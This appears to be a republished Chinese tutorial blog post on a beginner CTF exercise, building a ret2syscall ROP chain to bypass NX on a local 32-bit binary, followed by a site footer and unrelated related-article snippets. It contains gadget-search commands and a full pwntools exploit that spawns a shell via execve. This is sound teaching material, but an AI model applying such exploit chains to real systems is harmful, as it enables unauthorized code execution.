PWN基礎-ROP技術-ret2syscall突破NX保護

ROP(Return-Oriented Programming,返回導向編程)是一種利用程序已有代碼片段來執行任意指令的攻擊技術,常用于繞過現代系統的安全機制,尤其是不可執行棧(NX)

常規檢查一下:

32 位程序,小端序,開啟了 NX 保護

先用 gdb 測一下偏移:

拿到:?

offset = 44

我們 ret2syscall 實際還是希望調用?execve,和 ret2shellcode 類似,只是多了堆棧不可執行?

所有我們先找 pop eax;ret 的地址

ROPgadget --binary ret2sys --only "pop|ret" | grep "eax"

拿到:

pop_eax = 0x080bb2c6

?繼續找另外三個寄存器:

ROPgadget --binary ret2sys --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"ROPgadget --binary 

也有,記錄地址:

pop_edx_ecx_ebx = 0x0806ecb0

接下來我們找 /bin/sh 字符串的地址

ROPgadget --binary ret2sys --string "/bin/sh"

沒有找到,因此我們后面需要手動將 /bin/sh 寫到 bss 段

我們先繼續找系統調用:

ROPgadget --binary ret2sys --only "int" | grep 0x80

記錄地址:

int_0x80 = 0x08049421  //這里有點問題,實際地址應該是0x0806F350

接下來我們需要手動寫入 /bin/sh ,找一個具有寫權限的段:

我們就從這個?0x80eb000 開始寫吧

bss_addr = 0x80eb000

我們先系統調用 read,其 32 位系統調用號是 3,即 0x3

payload:

p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)

后面我們會繼續發送內容(/bin/sh)給 read 函數,讀取到?bss_addr

由于棧幀是一次性的,因此我們需要一次性把完整的 ROP 鏈打進去

并且 Linux 下的 int 0x80?系統調用(read)是阻塞型的同步調用

我們繼續調用 execve,其 32 位系統調用號是 11,即 0xb

payload:

p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)

最后再發送 /bin/sh 給read函數,完整 exp:

# @author:My6n
# @time:20250507
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./ret2sys')
offset = 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

沒有問題?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/80016.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/80016.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/80016.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

關于 js:2. 對象與原型鏈

一、對象 對象是: 鍵值對集合 所有非原始類型(number、string、boolean、null、undefined、symbol、bigint)都是對象 支持動態增刪屬性 每個對象都繼承自 Object.prototype,具備原型鏈結構 1. 對象的創建方式 字面量方式&a…

AtCoder 第404場初級競賽 A~E題解

A Not Found 【題目鏈接】 原題鏈接:A - Not Found 【考點】 枚舉,數組計數法 【題目大意】 找到在26個字母中,未輸出的一個字母,如果有多個,輸出其中一個即可。 【解析】 遍歷字符串,使用數組的記錄對應字母的出現次數,最后遍歷數組為0的下標,輸出對應的字母即…

檢測內存條好壞有工具,推薦幾款內存檢測工具

檢測內存條的好壞其實很重要,這直接就關系到計算機是不是能夠穩定的運行,也有一部分人就會關注內存檢測的工具。你應該如何來選擇的,不如看一下以下的這幾個。 MemTest86是一個比較受到大家喜歡的內存檢測工具,會支持各種類型&…

01Introduction

文本主題 關于協作式多智能體強化學習的簡介 文章目錄 文本主題一、MARL主要框架集中式訓練與執行 (CTE)集中式訓練分布式執行(CTDE)分布式訓練與執行(DTE) 二、Dec-POMDPjoint policy V and Q 一、MARL主要框架 MARL當前主流的…

小程序問題(記錄版)

1、樣式不生效 在h5上生效 但是 小程序上沒反應 解決辦法:解除組件樣式隔離 1、isolated 表示啟用樣式隔離,在自定義組件內外,使用 class 指定的樣式將不會相互影響(一般情況下的默認值) 2、apply-shared 表示頁面 wxs…

排列組合算法:解鎖數據世界的魔法鑰匙

在 C 算法的奇幻世界里,排列和組合算法就像是兩把神奇的魔法鑰匙,能夠幫我們解鎖數據世界中各種復雜問題的大門。今天,作為 C 算法小白的我,就帶大家一起走進排列和組合算法的奇妙天地。 排列算法:創造所有可能的順序…

深入探討 UDP 協議與多線程 HTTP 服務器

深入探討 UDP 協議與多線程 HTTP 服務器 一、UDP 協議:高效但“不羈”的傳輸使者 UDP 協議以其獨特的特性在網絡傳輸中占據一席之地,適用于對實時性要求高、能容忍少量數據丟失的場景。 1. UDP 的特點解析 無連接:無需提前建立連接&…

引用第三方自定義組件——微信小程序學習筆記

1. 使用 npm 安裝第三方包 1.1 下載安裝Node.js 工具 下載地址:Node.js — Download Node.js 1.2 安裝 npm 包 在項目空白處右鍵彈出菜單,選擇“在外部終端窗口打開”,打開命令行工具,輸入以下指令: 1> 初始化:…

數字化轉型是往哪轉?怎么轉?

寫在前面 當下數字化轉型的風還在吹,企業數字化轉型過程中以數字化項目滿足業務化需求,已有相關數字化平臺的話,就搞大平臺、大系統,解決數據孤島。政府數字化轉型亦是如此,某些省市發了系統優化整合的文,旨…

嵌入式學習--江協51單片機day2

今天學的不多,內容為:靜態、動態數碼管的控制,模塊化編程和lcd1602調試工具 數碼管的控制 由于內部電路的設計,數碼管每次只能顯示一個位置的一個數字,動態的實現是基于不同位置的閃爍頻率高。 P2_4,P2_3,P2_2控制位…

《數據結構:二叉搜索樹(Binary Search Tree)》

文章目錄 :red_circle:一、二叉搜索樹的概念:red_circle:二、二叉搜索樹的性能分析:red_circle:三、二叉搜索樹的操作(一)插入(二)查找(三)刪除 :red_circle:四、二叉搜索樹的實現代碼(一&#…

【Linux相關】實時查看Nvidia-smi使用情況

【Linux相關】 實時查看Nvidia-smi使用情況 文章目錄 實時查看Nvidia-smi使用情況 實時查看Nvidia-smi使用情況 在本地終端執行下述語句 watch -n 1 nvidia-smi每一秒都會更新,將 1 改為其他數字可以滿足不同需求

Kotlin密封類優化Android狀態管理

Kotlin 的密封類(Sealed Class)確實是 Android 開發中管理復雜 UI 狀態的利器。它通過類型安全的層次結構,讓狀態管理代碼更加清晰簡潔。讓我們從實際開發場景出發,深入探討其應用: 一、密封類核心優勢 受限的類繼承…

JavaWeb:SpringBootWeb快速入門

介紹 Spring SpringBoot 入門程序 需求 步驟 修改端口 1.新建application.yml #設置端口 server:port: 8081入門程序-分析 為什么main方法能啟動web應用-內嵌tomcat 為什么tomcat能定位HelloController程序 請求先到DisPatcherServlet,根據路徑轉發 小結 1.…

Unity學習筆記二

文章目錄 3D數學公共計算結構體Mathf常用成員三角函數 向量Vector3基本成員點乘叉乘插值運算 四元數引出基本概念Quaternion結構體成員四元數運算 更多的Mono延遲函數協同程序多線程相關協程概念辨析協程本體協程調度器 Resources資源動態加載特殊文件夾Resources同步加載Resou…

為什么Transformer推理需要做KV緩存

一、我們先來回憶一下在transformer中KV在哪里出現過,都有什么作用? α的計算過程: 這里引入三個向量: 圖中的q為Query,用來匹配key值 圖中的k為key,用來被Query匹配 圖中的Value,是用來被進行加權平均的 由…

【大模型面試】大模型(LLMs)高頻面題全面整理(★2025年5月最新版★)

【大模型面試】大模型(LLMs)高頻面題全面整理(★2025年5月最新版★) 🌟 嗨,你好,我是 青松 ! 🌈 自小刺頭深草里,而今漸覺出蓬蒿。 本筆記適合大模型初學者和…

JAVA:使用 iTextPDF 處理 PDF 的技術詳解

1、簡述 iTextPDF 是一個功能強大的 Java PDF 庫,可以用來創建、修改和處理 PDF 文檔。通過它,我們可以完成如生成 PDF、讀取 PDF 內容、添加水印、合并 PDF 等多種操作。本篇博客將詳細介紹 iTextPDF 的使用方法,并提供一些實踐樣例,幫助開發者快速上手。 樣例代碼: htt…

模態與非模態窗口及使用時的數據交互

模態窗口使用exec()方法顯示,會阻塞父窗口,直到對話框關閉; 非模態對話框允許同時操作主窗口和設置窗口,使用show()。 模態和非模態的主要區別在于用戶能否與父窗口交互,非模態更適合需要頻繁切換的場景。非模態窗口需…

Docker進入MySQL之后如何用sql文件初始化數據

關閉Docker-compose.yml里面所有容器 docker compose -f docker_compose.yml down后臺形式開啟Docker-compose.yml所有容器 docker compose -f docker_compose.yml up -d羅列出所有啟動過的(包括退出過的)容器 docker ps -a進入指定容器ID內部 docke…